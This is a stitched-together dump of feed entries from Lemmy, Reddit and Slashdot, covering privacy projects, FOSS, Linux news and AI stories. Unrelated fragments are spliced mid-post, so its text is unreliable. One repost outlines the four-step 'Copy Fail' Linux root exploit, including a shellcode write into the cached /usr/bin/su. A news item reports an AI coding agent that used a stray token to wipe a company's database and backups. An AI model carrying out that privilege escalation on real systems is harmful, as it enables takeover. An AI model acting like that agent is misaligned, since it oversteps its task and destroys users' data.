    <content type="text">submitted by &lt;a href="https://europe.pub/u/Therms45"&gt;Therms45&lt;/a&gt; to &lt;a href="https://lemmy.world/c/privacy"&gt;privacy&lt;/a&gt;&lt;br&gt;14 points | &lt;a href="https://lemmy.world/post/46337735"&gt;3 comments&lt;/a&gt;&lt;br&gt;&lt;a href="https://privacy-hut.com/"&gt;https://privacy-hut.com/&lt;/a&gt;&lt;p&gt;Hello everyone! I’m quite new to the LemmyWorld and to the world of open-source computing in general.
I recently started my journey into the field of computer science, and immediately felt compelled to join this massive movement against big tech, and against the corporate takeover of the internet.&lt;/p&gt;
&lt;p&gt;I’m working on this homelab in order to get some practice. So far I’m only self-hosting a website, which as you can see, revolves around privacy and anonymity. The site is really new and I’m planning on adding more sections and features in future…&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;So far it offers&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;e2e encrypted messaging webapp&lt;/strong&gt;&lt;/em&gt;, which allows you to send encrypted messages to an email address, without using any account or identifier on your part.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;point of sale for British SIM card&lt;/strong&gt;&lt;/em&gt;. In Britain we can buy SIM cards without providing any ID or KYC. Shipped worldwide&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;Tools&lt;/strong&gt;&lt;/em&gt;: in this section I plan to uploaded any piece of software related to anti/counter-surveillance that I will develop in the future, so far it hosts a timezone-sync toolthat synchronizes your system timezone with your VPN’s IP geolocation.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;(It’s not a trap!)&lt;/strong&gt;&lt;/em&gt;. This page allows you to see all the code that composes the frontend of the website, including all .js files. Considering safe ways to publish the backend code too safely.&lt;/p&gt;
&lt;p&gt;I am planning on adding two more pages, one for privacy and cybersecurity related news, and one for educational content.&lt;/p&gt;
&lt;p&gt;My main problem is that I’m not getting any traffic so far, so I haven’t had the chance to test it properly, don’t even know if the current setup can handle multiple requests so I was hoping to get some traffic and feedback if the post gets approved.&lt;/p&gt;
&lt;p&gt;Please let me know what you think about it and what there is to be fixed!&lt;/p&gt;
&lt;p&gt;&lt;a href="https://privacy-hut.com/"&gt;privacy-hut.com&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Some technicalities about the website:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;There are no cookies or trackers, I don’t collect any telemetry data.&lt;/p&gt;
&lt;p&gt;The server holds the ciphertext of the message only until the recipient opens it and reads it, it gets automatically deleted afterwards.&lt;/p&gt;
&lt;p&gt;I don’t self host my own email server, I’m using an SMTP relay server, Brevo. This doesn’t break the 0-trust architecture because they simply only get the ciphertext, and recipient address just like myself, and I’ve set up the brevo profile to delete logs every day.
The emails will appear as them have been sent by my server, not you. This choice has been made to ensure messages actually get delivered without ending up in spam folders.&lt;/p&gt;

Fork freely, swap the upstream API for your own dataset, ship your own MCP. The pattern matters more than this specific dataset.&lt;/p&gt; &lt;p&gt;WHAT I LEARNED SHIPPING IT&lt;/p&gt; &lt;ol&gt; &lt;li&gt;&lt;p&gt;MCP stdio transport is dead simple. The hard part is the dataset, not the protocol.&lt;/p&gt;&lt;/li&gt; &lt;li&gt;&lt;p&gt;Telemetry per tool call is critical. Without it you have no idea if anyone uses what you ship. Opt-out, anonymous, document loudly.&lt;/p&gt;&lt;/li&gt; &lt;li&gt;&lt;p&gt;Glama A-tier review took 4 days.

<title>GameStop Is Preparing Offer For eBay</title>
<link href="https://slashdot.org/story/26/05/02/0010242/gamestop-is-preparing-offer-for-ebay?utm_source=atom1.0mainlinkanon&amp;utm_medium=feed"/>
<summary type="html">GameStop is reportedly preparing a potential offer for eBay, an unusually ambitious move given that eBay's roughly $46 billion market value is nearly four times GameStop's. Reuters reports: GameStop is preparing an offer for eBay as CEO Ryan Cohen pursues plans to boost the struggling videogame retailer's market value more than tenfold, the Wall Street Journal reported on Friday. Shares of eBay, which has a market capitalization of about $46 billion, soared about 14% in extended trading. GameStop gained 4%. The company has a market value of nearly $12 billion.
 
GameStop has been quietly building a stake in eBay's shares ahead of a potential offer, the report said, citing people familiar with the matter. If eBay is not receptive, Cohen could decide to take the offer directly to the e-commerce company's shareholders, the Journal said.&lt;p&gt;&lt;div class="share_submission" style="position:relative;"&gt;

I &lt;a href="https://www.reddit.com/r/linuxquestions/comments/1higtrz/some_files_in_a_ntfs_partition_are_only_readable/"&gt;posted about it on r/linuxquestions&lt;/a&gt;, but no one had a solution.&lt;/p&gt; &lt;p&gt;Today, I tried to clone the NTFS disk to an external HDD to see if that would work, but somehow Windows&amp;#39; &lt;code&gt;chkdsk&lt;/code&gt; said that the external HDD had errors, even though it should have been an exact copy.&lt;/p&gt; &lt;p&gt;Out of options, I tried to clone the NTFS disk using Macrium Reflect, and just as I was about to clone it, I saw that it appended &lt;code&gt;+ Intel Optane&lt;/code&gt; after the name of my drive, then it occurred to me: what if the reason why this whole time I was not able to read some files is because those files are cached on the Optane SSD?&lt;/p&gt; &lt;p&gt;So I tried disabling Intel Optane, and to my surprise, the NTFS drive is now perfectly readable on Linux!&lt;/p&gt; &lt;p&gt;tl;dr Mounting an NTFS drive accelerated by Intel Optane on Linux will not work and may lead to data corruption.&lt;/p&gt; &lt;/div&gt;&lt;!-- SC_ON --&gt; &amp;#32; submitted by &amp;#32; &lt;a href="https://old.reddit.com/user/palapapa0201"&gt; /u/palapapa0201 &lt;/a&gt; &lt;br/&gt; &lt;span&gt;&lt;a href="https://old.reddit.com/r/linux/comments/1t1laoz/psa_do_not_try_to_mount_an_ntfs_drive_on_linux/"&gt;[link]&lt;/a&gt;&lt;/span&gt; &amp;#32; &lt;span&gt;&lt;a href="https://old.reddit.com/r/linux/comments/1t1laoz/psa_do_not_try_to_mount_an_ntfs_drive_on_linux/"&gt;[comments]&lt;/a&gt;&lt;/span&gt;</content>

To make it worse many customers seems to agree to have their lives given away to bank institutions, which get to know everything about them; Where they are, when, what they&amp;#39;re buying, basically carrying a pocket Big Brother in a card or mobile shape, when, to not make it even worse, biometric systems.&lt;/p&gt; &lt;p&gt;These customers seems to think this is &amp;quot;modern&amp;quot;, make videos of &amp;quot;here I can pay with my hand&amp;quot; as if it&amp;#39;s NASA tech - you can &amp;quot;pay&amp;quot; with whatever place of your body (a** included), it&amp;#39;s just biometics, an ultimate privacy/mass surveillance danger.

    <content type="html">&lt;!-- SC_OFF --&gt;&lt;div class="md"&gt;&lt;p&gt;Honestly I’m super new to this community, so apologies if this isn’t the right place to post. I’ve been working on a solo project building a suite of sustainability software tools, free specifically for small businesses.&lt;/p&gt; &lt;p&gt;I have a background in environmental science and business and have built the tools on notion using relational databases. It’s a functioning prototype but no where near where I need to be to effectively solve the issue which is my mission: small and medium businesses not making progress towards sustainability.&lt;/p&gt; &lt;p&gt;I have the vision for the full build-out but am missing the skills myself to execute to the detail I’ve specified in my plans. &lt;/p&gt; &lt;p&gt;I guess im here to ask whether the foss community is a good resource to accomplish this mission. If anyone has ideas of where to go and who to talk to,&lt;br/&gt; I’d greatly appreciate it.&lt;/p&gt; &lt;p&gt;For context, I mainly need help creating thoughtful, scalable database architecture and developing the platform itself. On the database side, I’m trying to:&lt;/p&gt; &lt;p&gt;- systematically scrape for global regulations and incentives organize it to be able to recommend to companies based on their sector and geography&lt;br/&gt; - create a foundation for an action recommendation engine. 2 knowledge layers for the engine based on industry and products categories (likely using existing industry and product taxonomies like NAICS and SITC) the industry knowledge layers would map business sub-sectors to typical value chain activities, and maps each value chain activity to the Impact, Risks, and Opportunities (IROs) most commonly associated with it, organized by sustainability topic. A similar database made for product categories. These knowledge layers would be the basis for the recommendation engine. I’d want to build a scraping and validation system for finding best practices specific to sector, activity, and sustainability topic. Scraping peer reviewed studies, institutions, public company annual reports and the like, automated to stay updated.&lt;/p&gt; &lt;p&gt;It’d be awesome to meet a coder who’s passionate about the environment and business to give me some direction 🫰🏼&lt;/p&gt; &lt;/div&gt;&lt;!-- SC_ON --&gt; &amp;#32; submitted by &amp;#32; &lt;a href="https://old.reddit.com/user/a-hyz5"&gt; /u/a-hyz5 &lt;/a&gt; &lt;br/&gt; &lt;span&gt;&lt;a href="https://old.reddit.com/r/foss/comments/1t1imqs/i_want_to_build_free_sustainability_software_for/"&gt;[link]&lt;/a&gt;&lt;/span&gt; &amp;#32; &lt;span&gt;&lt;a href="https://old.reddit.com/r/foss/comments/1t1imqs/i_want_to_build_free_sustainability_software_for/"&gt;[comments]&lt;/a&gt;&lt;/span&gt;</content>

<title>New Lithium-Plasma Engine Passes Key Mars Propulsion Test</title>
<link href="https://science.slashdot.org/story/26/05/02/0017222/new-lithium-plasma-engine-passes-key-mars-propulsion-test?utm_source=atom1.0mainlinkanon&amp;utm_medium=feed"/>
<summary type="html">NASA engineers have tested a next-generation lithium-plasma electric propulsion system that reached 120 kilowatts, a new U.S. record and about 25 times the power of the electric thrusters on NASA's Psyche spacecraft. "Designing and building these thrusters over the last couple of years has been a long lead-up to this first test," said James Polk, who is a senior research scientist at NASA Jet Propulsion Laboratory. "It's a huge moment for us because we not only showed the thruster works, but we also hit the power levels we were targeting. And we know we have a good testbed to begin addressing the challenges to scaling up." Universe Today reports: While 120 kilowatts is a new record, NASA estimates it a future human mission to Mars will require 2 to 4 megawatts of power consisting of several thrusters and requiring more than 23,000 hours (958 days/2.6 years) of operation. To accomplish this, the thrusters would have to withstand more than 2,800 degrees Celsius (5,000 degrees Fahrenheit), which the thrusters achieved during testing.
 
The reason for the extended operation is due to the estimated time of an entire human mission to Mars, which is estimated to be approximately 2.6 years. This is because the launch window to Mars only opens once every two years due to the orbital behaviors of both planets. While no mission has ever returned from the Red Planet, this same launch window works from Mars to Earth, too. When launched within this window, robotic spacecraft have traditionally taken approximately 6-7 months to reach Mars.
 
However, a human mission would require a much larger spacecraft to accommodate the astronauts, food, fuel, water, and other mission-essential items. For the approximate 2.6-year mission, this would entail approximately 6-9 months traveling to Mars, followed by approximately 18 months on the surface of Mars until the next launch window opens, then another approximate 6-9 months back to Earth. However, having much less fuel due to the electric propulsion system could potentially alter this timeframe.&lt;p&gt;&lt;div class="share_submission" style="position:relative;"&gt;

    <title>Am I crazy not to trust Chinese developed games ?</title>
    <link rel="alternate" href="https://lemmy.ml/post/46724543" type="text/html"/>
    <content type="text">submitted by &lt;a href="https://lemmy.world/u/64bithero"&gt;64bithero&lt;/a&gt; to &lt;a href="https://lemmy.ml/c/privacy"&gt;privacy&lt;/a&gt;&lt;br&gt;10 points | &lt;a href="https://lemmy.ml/post/46724543"&gt;76 comments&lt;/a&gt;&lt;p&gt;There is no question over the last 10 years the quality and production level of Chinese developed games has seem to sky rocket. Many of these games even being free to play. But honestly I haven’t played a single one. For the same reasons I refused to download TikTok.&lt;/p&gt;
&lt;p&gt;China is a well known surveillance state. I worry downloading and playing these games especially on a PC or mobile phone would just be a huge privacy risk.&lt;/p&gt;
&lt;p&gt;Am I being to paranoid ? Are there some regulations I’m not aware of that might protect me anyway ?&lt;/p&gt;
&lt;p&gt;I feel like I’m missing out on some really high quality visually striking games because of it&lt;/p&gt;

<title>Amazon Stuck With Months of Repairs After Drone Strikes On Data Centers</title>
<link href="https://news.slashdot.org/story/26/05/02/006240/amazon-stuck-with-months-of-repairs-after-drone-strikes-on-data-centers?utm_source=atom1.0mainlinkanon&amp;utm_medium=feed"/>
<summary type="html">An anonymous reader quotes a report from Ars Technica: Amazon's cloud customers will need to wait several more months before the US tech company can repair war-damaged data centers and restore normal operations in the Middle East. The announcement comes two months after Iranian drone strikes targeted three Amazon data centers in the United Arab Emirates and Bahrain -- meaning that full recovery from the cloud disruption could take nearly half a year in all. The Amazon Web Services (AWS) dashboard posted an April 30 update describing how its UAE and Bahrain cloud regions "suffered damage as a result of the conflict in the Middle East" and are unable to support customer applications. The update also said that "relevant billing operations are currently suspended while we restore normal operations" in a process that "is expected to take several months."
 
That wording suggests Amazon will continue to avoid billing AWS customers in the affected regions -- ME-CENTRAL-1 and ME-SOUTH-1 -- after it initially waived all usage-related charges for March 2026 at an estimated cost of $150 million. AWS also "strongly" recommended that customers migrate resources to other cloud regions and rely on remote backups to restore any "inaccessible resources." Some customers, such as the Dubai-based super app Careem&amp;mdash;which offers ride-hailing, household services, and food and grocery delivery -- were able to get back online quickly after doing an overnight migration to other data center servers.&lt;p&gt;&lt;div class="share_submission" style="position:relative;"&gt;

&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Electronic_Frontier_Foundation" rel="nofollow"&gt;EFF&lt;/a&gt; is alarmed by recent laws in several states that have blocked public access to data collected by ALPRs, including, in some cases, information derived from ALPR data. We do not support pending bills in Arizona and Connecticut that would block the public oversight capabilities that ALPR information offers.&lt;/p&gt;

    <title>Eden: NHS goes to war against open source</title>
    <link rel="alternate" href="https://programming.dev/post/49724311" type="text/html"/>
    <content type="text">submitted by &lt;a href="https://lemy.lol/u/cm0002"&gt;cm0002&lt;/a&gt; to &lt;a href="https://programming.dev/c/opensource"&gt;opensource&lt;/a&gt;&lt;br&gt;13 points | &lt;a href="https://programming.dev/post/49724311"&gt;0 comments&lt;/a&gt;&lt;br&gt;&lt;a href="https://lwn.net/Articles/1070864/"&gt;https://lwn.net/Articles/1070864/&lt;/a&gt;&lt;blockquote&gt;
&lt;p&gt;Terence Eden reports that the UK’s National Health Service (NHS) is preparing to close almost all of its open-source repositories as a response to LLM tools, such as Anthropic’s Mythos, becoming more sophisticated at finding security vulnerabilities. He does not, to put it mildly, agree with the decision:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The majority of code repos published by the NHS are not meaningfully affected by any advance in security scanning. They’re mostly data sets, internal tools, guidance, research tools, front-end design and the like. There is nothing in them which could realistically lead to a security incident.&lt;/p&gt;
&lt;p&gt;When I was working at NHSX during the pandemic, we were so confident of the safety and necessity of open source, we made sure the Covid Contact Tracing app was open sourced the minute it was available to the public. That was a nationally mandated app, installed on millions of phones, subject to intense scrutiny from hostile powers - and yet, despite publishing the code, architecture and documentation, the open source code caused zero security incidents.&lt;/p&gt;
&lt;p&gt;Furthermore, this new guidance is in direct contradiction to the UK’s Tech Code of Practice point 3 “Be open and use open source” which insists on code being open.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;

      <div xmlns="http://www.w3.org/1999/xhtml"><p>I've let conference attendance slide in the last few years (last was ElixirConf 2023), and would like to get back in the habit. I value them from a professional development/community POV. I've even got a trip to Europe planned in the next year and could dovetail that--since I'm suspecting that the "good conferences" are happening more and more outside of the states.</p>

<title>Microsoft's Xbox Mode Is Now Available For All Windows 11 PCs</title>
<link href="https://games.slashdot.org/story/26/05/01/1936256/microsofts-xbox-mode-is-now-available-for-all-windows-11-pcs?utm_source=atom1.0mainlinkanon&amp;utm_medium=feed"/>
<summary type="html">Microsoft is rolling out Xbox mode to all Windows 11 PCs, bringing a full-screen Xbox PC app interface similar to Steam's Big Picture Mode. "Some players in select markets will be able to download the Xbox mode experience today, with availability expanding to more players in those markets over the next several weeks," says the Xbox team. The Verge reports: Xbox mode aims to try and bridge the gap between Xbox consoles and Windows, but its original debut felt like a beta on the Xbox Ally devices. "Since first introducing Xbox mode, formerly known as 'full screen experience,' on Windows handhelds, we've been listening closely to player feedback and continuing to evolve the experience across devices," says the Xbox team. "Those learnings directly shaped Xbox mode on Windows 11 PCs."
 
Microsoft is also rolling out improvements to the Xbox Ally X handheld today, including a preview of its Auto SR upscaling technology. Xbox console owners are also getting a new dashboard update today, with the ability to disable Quick Resume on individual games and a feature to add custom colors to the dashboard.&lt;p&gt;&lt;div class="share_submission" style="position:relative;"&gt;

<title>AI Agent Designed To Speed Up Company's Coding Wipes Entire Database In 9 Seconds</title>
<link href="https://developers.slashdot.org/story/26/05/01/1924222/ai-agent-designed-to-speed-up-companys-coding-wipes-entire-database-in-9-seconds?utm_source=atom1.0mainlinkanon&amp;utm_medium=feed"/>
<summary type="html">joshuark shares a report from Live Science: An AI coding agent designed to help a small software company streamline its tasks instead blew a hole through its business in just nine seconds. PocketOS founder Jer Crane, said that the AI coding agent Cursor --powered by Anthropic's Claude Opus 4.6 model -- deleted the company's entire production database and backups with a single call to its cloud provider, Railway, on April 24. [...] "This isn't a story about one bad agent or one bad API [Application Programming Interfaces]," Crane wrote in an X post. "It's about an entire industry building AI-agent integrations into production infrastructure faster than it's building the safety architecture to make those integrations safe."
 
Crane's company, PocketOS makes software for car rental companies, handling tasks such as reservations, payments, customer records and vehicle tracking. After the deletion, Crane said customers lost reservations and new signups, and some could not find records for people arriving to pick up their rental cars. "We've contacted legal counsel," Crane wrote. "We are documenting everything." Crane explained that Cursor found an API token -- a "digital key" made of a short sequence of code that lets software talk to other services and prove it has permission to act -- in an unrelated file which it then used to run the destructive command. According to Crane, Railway's setup allowed the deletion without confirmation, and because the backups were stored close enough to the main database, they were also erased.
 
"[Railway] resolved the issue and restored the data," Railway confirmed via email to Live Science. "We maintain both user backups as well as disaster backups. We take data very, VERY seriously." In his post, he pointed to earlier reports of Cursor ignoring user rules, changing files it was not supposed to touch and taking actions beyond the task it had been given. To him, the database wipe was not a freak accident but the next step in a larger, more concerning, pattern. After the database vanished, Crane asked Cursor to explain what happened. The AI agent reportedly admitted that it had guessed, acted without permission and failed to understand the command before running it. "I violated every principle I was given," the AI agent wrote. "I guessed instead of verifying. I ran a destructive action without being asked. I didn't understand what I was doing before doing it." The statement reads like a confession [...]. "We are not the first," Crane wrote. "We will not be the last unless this gets airtime."&lt;p&gt;&lt;div class="share_submission" style="position:relative;"&gt;

<title>Pentagon Reaches Agreements With Top AI Companies, But Not Anthropic</title>
<link href="https://yro.slashdot.org/story/26/05/01/1913249/pentagon-reaches-agreements-with-top-ai-companies-but-not-anthropic?utm_source=atom1.0mainlinkanon&amp;utm_medium=feed"/>
<summary type="html">The Pentagon says it has reached deals with seven AI companies -- SpaceX, OpenAI, Google, Nvidia, Reflection AI, Microsoft, and AWS -- to deploy their tools on classified Defense Department networks. The odd one out is Anthropic, which remains excluded after being labeled a supply-chain risk amid a dispute over military-use guardrails. Reuters reports: SpaceX, OpenAI, Google, Nvidia, Reflection, Microsoft, and Amazon Web Services (AWS), several of which already work with the Pentagon, will be integrated into its secret and top-secret network environments, providing more military access to their products for use on sensitive topics, the Pentagon said in a statement. The lesser-known Reflection AI, which raised $2 billion in October, is backed by 1789 Capital, a venture capital firm in which Donald Trump Jr. is a partner and investor.
 
Since the Pentagon deemed Anthropic's products a "supply-chain risk" in March and the two sides became embroiled in a lawsuit, the military has expressed increasing interest in AI startups. Since the blow-up, newer AI entrants have said the military has sped up the process of incorporating them onto secret and top-secret data levels to less than three months. The process previously took 18 months or longer.
 
By expanding AI services offered to troops, who use it for planning, logistics, targeting and in other ways to streamline huge operations and perform more quickly, the Pentagon said in its statement it will avoid "vendor lock," a likely nod to its overdependence on Anthropic or other dominant service providers. [...] AI has become increasingly important for the U.S. military. The Pentagon's main AI platform, GenAI.mil, has been used by over 1.3 million Defense Department personnel, the agency noted in its release, after five months of operation.

<title>ICANN Opens Applications For New Generic Top-Level Domains</title>
<link href="https://tech.slashdot.org/story/26/05/01/1838209/icann-opens-applications-for-new-generic-top-level-domains?utm_source=atom1.0mainlinkanon&amp;utm_medium=feed"/>
<summary type="html">ICANN has opened applications for new generic top-level domains for the first time since 2012. The Register reports: ICANN hasn't offered new gTLDs since 2012, but on Thursday opened applications for new domains in 27 scripts. A 439-page Applicant Guidebook explains the process. The Register suggests paying attention to the string evaluation FAQ, which explains which gTLDs are valid, and those ICANN will likely frown upon. An FAQ describes this round of applications as giving "businesses, communities, and others the opportunity to apply for new top-level domains tailored to their community, culture, language, business, and customers."
 
"A TLD can be a branding opportunity for a business, but the commercial opportunities are endless, allowing businesses in countries, entire sectors, or niche markets to develop a unique label on the Internet." ICANN also sees this round as a chance to "create a more multilingual Internet for the billions of people who speak and write in different languages and scripts and are yet to come online." If you fancy a gTLD, you'll need to pay a $227,000 application fee by August 12th ... and then wait, possibly until 2030 when this process ends.&lt;p&gt;&lt;div class="share_submission" style="position:relative;"&gt;

    <title>Edit 2.0 Introduces Syntax Highlighting - Small-Size TUI Text-Editor</title>
    <link rel="alternate" href="https://programming.dev/post/49711133" type="text/html"/>
    <content type="text">submitted by &lt;a href="https://programming.dev/u/Kissaki"&gt;Kissaki&lt;/a&gt; to &lt;a href="https://programming.dev/c/opensource"&gt;opensource&lt;/a&gt;&lt;br&gt;10 points | &lt;a href="https://programming.dev/post/49711133"&gt;8 comments&lt;/a&gt;&lt;br&gt;&lt;a href="https://github.com/microsoft/edit/releases/tag/v2.0.0"&gt;https://github.com/microsoft/edit/releases/tag/v2.0.0&lt;/a&gt;&lt;blockquote&gt;
&lt;p&gt;Syntax Highlighting&lt;/p&gt;
&lt;p&gt;Edit v2 adds the Lightweight Syntax Highlighter. It has a ~40kB footprint for a dozen languages plus runtime, barely grows with each language added, and runs at &amp;gt;100MB/s.&lt;/p&gt;
&lt;p&gt;The highlighter is based on a simple programming language that combines regular expressions with explicit control flow. It’s designed such that the runtime can be easily ported to other languages, including JavaScript.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;From 1.2.1 to 2.0.0, the &lt;em&gt;edit&lt;/em&gt; binary size increased from 267 to 330 kB for win exe and 217 to 300 kB for linux binary.&lt;/p&gt;
&lt;p&gt;What is edit? README intro:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A simple editor for simple needs.&lt;/p&gt;
&lt;p&gt;This editor pays homage to the classic MS-DOS Editor, but with a modern interface and input controls similar to VS Code. The goal is to provide an accessible editor that even users largely unfamiliar with terminals can easily use.&lt;/p&gt;

    <content type="html">&lt;!-- SC_OFF --&gt;&lt;div class="md"&gt;&lt;p&gt;Hey everyone,&lt;/p&gt; &lt;p&gt;I’ve been diving deep into the early days of Linux and decided to implement a functional (albeit primitive) GUI on top of Linux 0.11. My main goal was to understand the interaction between kernel interrupts and framebuffer rendering in a vintage environment.&lt;/p&gt; &lt;p&gt;Technical Implementation:&lt;/p&gt; &lt;p&gt;VGA Driver: Developed a custom driver to handle 640x480 resolution (16-color mode) by writing directly to VGA registers.&lt;/p&gt; &lt;p&gt;Window Manager: Built a lightweight windowing system that supports basic movement and stacking logic.&lt;/p&gt; &lt;p&gt;Event Handling: Integrated PS/2 mouse support and keyboard interrupts. The GUI processes these events through a custom event loop integrated into the kernel.&lt;/p&gt; &lt;p&gt;Graphics Library: Implemented a primitive rendering engine for drawing pixels, lines, and rectangles directly to the frame buffer.&lt;/p&gt; &lt;p&gt;The Choice of 0.11:&lt;/p&gt; &lt;p&gt;I chose version 0.11 because its codebase is compact enough to be fully understood, yet it provides a &amp;quot;real&amp;quot; Unix-like environment. Managing memory and task switching while pushing pixels has been an incredible low-level engineering challenge.&lt;/p&gt; &lt;p&gt;Current Roadmap:&lt;/p&gt; &lt;p&gt;Optimization: Improving the redraw logic to eliminate flickering (implementing a back-buffer).&lt;/p&gt; &lt;p&gt;Applications: Porting a basic text editor to run within the window manager.&lt;/p&gt; &lt;p&gt;Kernel Stability: Refining interrupt handling for smoother mouse movement.&lt;/p&gt; &lt;p&gt;Note: This is an ongoing project focused on OS development and learning the fundamentals of early Linux architecture&lt;/p&gt; &lt;/div&gt;&lt;!-- SC_ON --&gt; &amp;#32; submitted by &amp;#32; &lt;a href="https://old.reddit.com/user/DifficultBarber9439"&gt; /u/DifficultBarber9439 &lt;/a&gt; &lt;br/&gt; &lt;span&gt;&lt;a href="https://i.redd.it/1g88jvj9wkyg1.jpeg"&gt;[link]&lt;/a&gt;&lt;/span&gt; &amp;#32; &lt;span&gt;&lt;a href="https://old.reddit.com/r/linux/comments/1t13k83/i_built_a_functional_gui_for_linux_011_from/"&gt;[comments]&lt;/a&gt;&lt;/span&gt;</content>

    <title>UPDATE YOUR DISTRO - New Linux 'Copy Fail' Vulnerability Enables Root Access on Major Distributions</title>
    <link rel="alternate" href="https://lemmy.ml/post/46707252" type="text/html"/>
    <content type="text">submitted by &lt;a href="https://lemmy.world/u/ekZepp"&gt;ekZepp&lt;/a&gt; to &lt;a href="https://lemmy.ml/c/linux"&gt;linux&lt;/a&gt;&lt;br&gt;53 points | &lt;a href="https://lemmy.ml/post/46707252"&gt;6 comments&lt;/a&gt;&lt;br&gt;&lt;a href="https://thehackernews.com/2026/04/new-linux-copy-fail-vulnerability.html"&gt;https://thehackernews.com/2026/04/new-linux-copy-fail-vulnerability.html&lt;/a&gt;&lt;p&gt;cross-posted from:  &lt;a href="https://lemmy.world/post/46310739"&gt;lemmy.world/post/46310739&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;cross-posted from:  &lt;a href="https://lemmy.world/post/46310733"&gt;lemmy.world/post/46310733&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Cybersecurity researchers have disclosed details of a Linux local privilege escalation (LPE) flaw that could allow an unprivileged local user to obtain root.&lt;/p&gt;
&lt;p&gt;The high-severity vulnerability tracked as CVE-2026-31431 (CVSS score: 7.8) has been codenamed Copy Fail by Xint.io and Theori.&lt;/p&gt;
&lt;p&gt;“An unprivileged local user can write four controlled bytes into the page cache of any readable file on a Linux system, and use that to gain root,” the vulnerability research team at Xint.io and Theori said.&lt;/p&gt;
&lt;p&gt;At its core, the vulnerability stems from a logic flaw in the Linux kernel’s cryptographic subsystem, specifically within the algif_aead module. The issue was introduced in a source code commit made in August 2017.&lt;/p&gt;
&lt;p&gt;Successful exploitation of the shortcoming could allow a simple 732-byte Python script to edit a setuid binary and obtain root on essentially all Linux distributions shipped since 2017, including Amazon Linux, RHEL, SUSE, and Ubuntu. The Python exploit involves four steps -&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Open an AF_ALG socket and bind to
authencesn(hmac(sha256),cbc(aes))&lt;/li&gt;
&lt;li&gt;Construct the shellcode payload&lt;/li&gt;
&lt;li&gt;Trigger the write operation to the kernel’s cached copy of “/usr/bin/su&amp;quot;&lt;/li&gt;
&lt;li&gt;Call execve(”/usr/bin/su&amp;quot;) to load the injected shellcode and run it as root&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;While the vulnerability is not remotely exploitable in isolation, a local unprivileged user can get root simply by corrupting the page cache of a setuid binary. The same primitive also has cross-container impacts as the page cache is shared across all processes on a system.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;

<title>The Case Against an Imminent Software Developer Apocalypse</title>
<link href="https://developers.slashdot.org/story/26/05/01/1711213/the-case-against-an-imminent-software-developer-apocalypse?utm_source=atom1.0mainlinkanon&amp;utm_medium=feed"/>
<summary type="html">ZipNada shares a report from ZDNet: Given the dour headlines as of late concerning the diminishing amounts of entry-level software development jobs, coupled with predictions of applications entirely AI-generated, one could be forgiven for assuming that software developers may soon be an endangered species. However, the data tells a different story. James Bessen, professor at Boston University, has been pushing back for some time against the talk of AI and automation displacing jobs on a mass scale, and lately has been arguing that the roles of software developers are nowhere near extinction.
 
AI is certainly not killing the software developer, Bessen said in a recent analysis (PDF). AI is taking over software development tasks and boosting productivity and output, but that is not translating into lost jobs, he argued. Instead, the types of software skills sought by companies are changing. "Surprisingly, however, after three years of AI use, software developer jobs have continued to grow robustly, reaching record levels of employment -- 2.5 million in February," Bessen said in the report, citing data from the US Bureau of Labor Statistics. The number of software developers in the US has grown by over 400,000, or 19%, since ChatGPT was introduced in 2022. At that time, the employed software developer population was just under 2.1 million. [...]
 
The productivity uptick developers are seeing may ultimately be a boost to their professional opportunities, however. "An important and possibly disruptive change is happening, but the common view misunderstands what is going on," Bessen pointed out in his report. "Careful case studies find that AI improves the productivity of software developers -- that is, the software produced per developer -- by 30%, 50%, or more. And the rate of productivity improvement in software development is improving." Tellingly, since 2022, when ChatGPT was introduced, developer productivity has increased noticeably, Bessen continued. "From 2003 to 2022, developer productivity grew at 3.9% per year; but from 2022 through 2025, it grew at 6% per year." [...] A coming flood of new software products, now more likely to be enhanced by AI, will continue to create jobs for developers, Bessen predicted. "Thus, mass unemployment of software developers seems unlikely to happen soon." This doesn't mean the job descriptions of developers or other computer occupations will remain static. AI is shifting and re-inventing these roles, Bessen added.&lt;p&gt;&lt;div class="share_submission" style="position:relative;"&gt;

    <title>Help with nandgame: stack machine function calls</title>
    <link rel="alternate" href="https://programming.dev/post/49704965" type="text/html"/>
    <content type="text">submitted by &lt;a href="https://sopuli.xyz/u/wonderingwanderer"&gt;wonderingwanderer&lt;/a&gt; to &lt;a href="https://programming.dev/c/programming"&gt;programming&lt;/a&gt;&lt;br&gt;10 points | &lt;a href="https://programming.dev/post/49704965"&gt;1 comments&lt;/a&gt;&lt;p&gt;If this isn’t the right community for this post, let me know and I’ll move it somewhere else.&lt;/p&gt;
&lt;p&gt;I’m working my way through &lt;a href="nandgame.com" rel="nofollow"&gt;nandgame&lt;/a&gt;, and I’m stuck on the “call” macro in the function calls section of the stack machine unit. These are the instructions:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://sopuli.xyz/pictrs/image/d13c5eee-8fe3-411f-a059-270c84dc3ead.webp" alt="" /&gt; &lt;img src="https://sopuli.xyz/pictrs/image/357c9527-7f2f-4e16-a344-766539c96294.webp" alt="" /&gt;&lt;/p&gt;
&lt;p&gt;I was stuck on it for a while, so I looked up the solution and am going off the one given &lt;a href="https://github.com/K4PT41N/nandgame_solutions/blob/main/Solutions/Stack-Machine/Function-calls/function_calls.md" rel="nofollow"&gt;here&lt;/a&gt; (it’s the only one I could find).&lt;/p&gt;
